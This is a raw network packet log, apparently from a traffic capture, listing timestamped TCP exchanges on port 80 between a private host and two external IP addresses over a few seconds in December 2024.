Dec 20, 2024 21:13:17.917123079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.917134047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.917177916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.917177916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.917934895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.918080091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.918129921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.918705940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.918977022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.919003010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.919130087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.919785976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.919796944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.919838905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.920454025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.920659065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.920695066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.920761108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.921324015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.921406984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.067924976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.068047047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.068078995 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.068109035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.068195105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.068236113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.068344116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.068382978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.075208902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075283051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075333118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.075450897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075464010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075511932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.075531960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.075741053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075753927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075764894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075778008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.075795889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.075831890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.076195955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076316118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.076345921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076358080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076390982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.076584101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076623917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076634884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076647043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.076662064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.076678038 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.080481052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080493927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080504894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080559969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.080559969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.080784082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080796957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080806971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080818892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.080847025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.080847025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.080965996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.081332922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.081345081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.081353903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.081365108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.081376076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.081391096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.081403017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.081418037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.085742950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.085838079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.085850000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.085872889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086008072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086100101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086111069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086121082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086133003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086159945 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086189032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086658001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086668015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086678028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086690903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086703062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086713076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086713076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086715937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.086740017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.086780071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.087560892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.087573051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.087615013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.087635994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.087675095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:18.087879896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:18.087927103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:20.750914097 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:20.751167059 CET	49879	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:20.870721102 CET	80	49879	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:20.872642994 CET	49879	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:20.876831055 CET	80	49845	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:20.880635977 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:21.040654898 CET	49879	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:21.160368919 CET	80	49879	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:22.231750011 CET	80	49879	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:22.231813908 CET	49879	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:22.234580994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:22.234864950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:22.354336023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:22.354392052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:22.354535103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:22.354587078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:22.354630947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:22.474236012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681158066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681205988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681220055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681256056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681256056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681308985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681324005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681340933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681401968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681401968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681433916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681497097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681559086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681575060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681591034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.681627989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681627989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.681627989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.801038980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.801084995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.801111937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.801146030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.805260897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.805341959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.805402040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.805402040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.813540936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.813638926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.873025894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.873157978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.873178959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.873373032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.877352953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.877422094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.877726078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.877784014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.885648012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.885776997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.888767958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.888813019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.888829947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.888914108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.897123098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.897164106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.897188902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.897262096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.905505896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.905584097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.905637026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.905685902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.913901091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.913969994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.914043903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.922249079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.922333956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.922385931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.922480106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.930655956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.930763960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.930841923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.930870056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.939141989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.939243078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.939399004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.939455032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.946708918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.946808100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.946851015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.946851015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.954329014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.954440117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.954449892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.954500914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:23.961956978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:23.962013006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.065233946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.065321922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.065346003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.065380096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.067378998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.067468882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.067507029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.067728996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.071688890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.071788073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.071796894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.071883917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.075979948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.076061010 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.076101065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.076152086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.080329895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.080384970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.080492973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.080696106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.085007906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.085093975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.085104942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.085397005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.089052916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.089106083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.089154959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.089276075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.093311071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.093430042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.093439102 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.093663931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.098620892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.098716974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.098747015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.098781109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.102329969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.102404118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.102458000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.102531910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.106231928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.106286049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.106357098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.106445074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.110409975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.110476971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.110585928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.110789061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.114695072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.114763975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.114774942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.114824057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.119064093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.119153023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.119175911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.119211912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.123661041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.123743057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.123817921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.127536058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.127651930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.127739906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.127739906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.131910086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.131961107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.132097006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.132188082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.136102915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.136163950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.136193991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.136343956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.140394926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.140466928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.140506029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.140599012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.144681931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.144721985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.144737005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.144797087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.149010897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.149104118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.149183989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.149307013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.153261900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.153343916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.153395891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.153395891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.157599926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.157682896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.157695055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.157813072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.185061932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.185115099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.185132980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.185194016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.257304907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.257350922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.257383108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.257431030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.258260965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.258333921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.258372068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.258471966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.261682987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.261735916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.261751890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.261928082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.265043020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.265119076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.265161037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.265212059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.268511057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.268583059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.268646955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.268982887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.271851063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.271905899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.272017002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.272017002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.275051117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.275173903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.275320053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.275320053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.278115034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.278202057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.278222084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.278398037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.281326056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.281483889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.281502008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.281541109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.284322977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.284383059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.284420967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.284461021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.287261009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.287333965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.287379980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.287487984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.290282011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.290327072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.290385008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.290385008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.293273926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.293354988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.293407917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.293452024 CET	49887	80	192.168.2.6	31.41.244.11
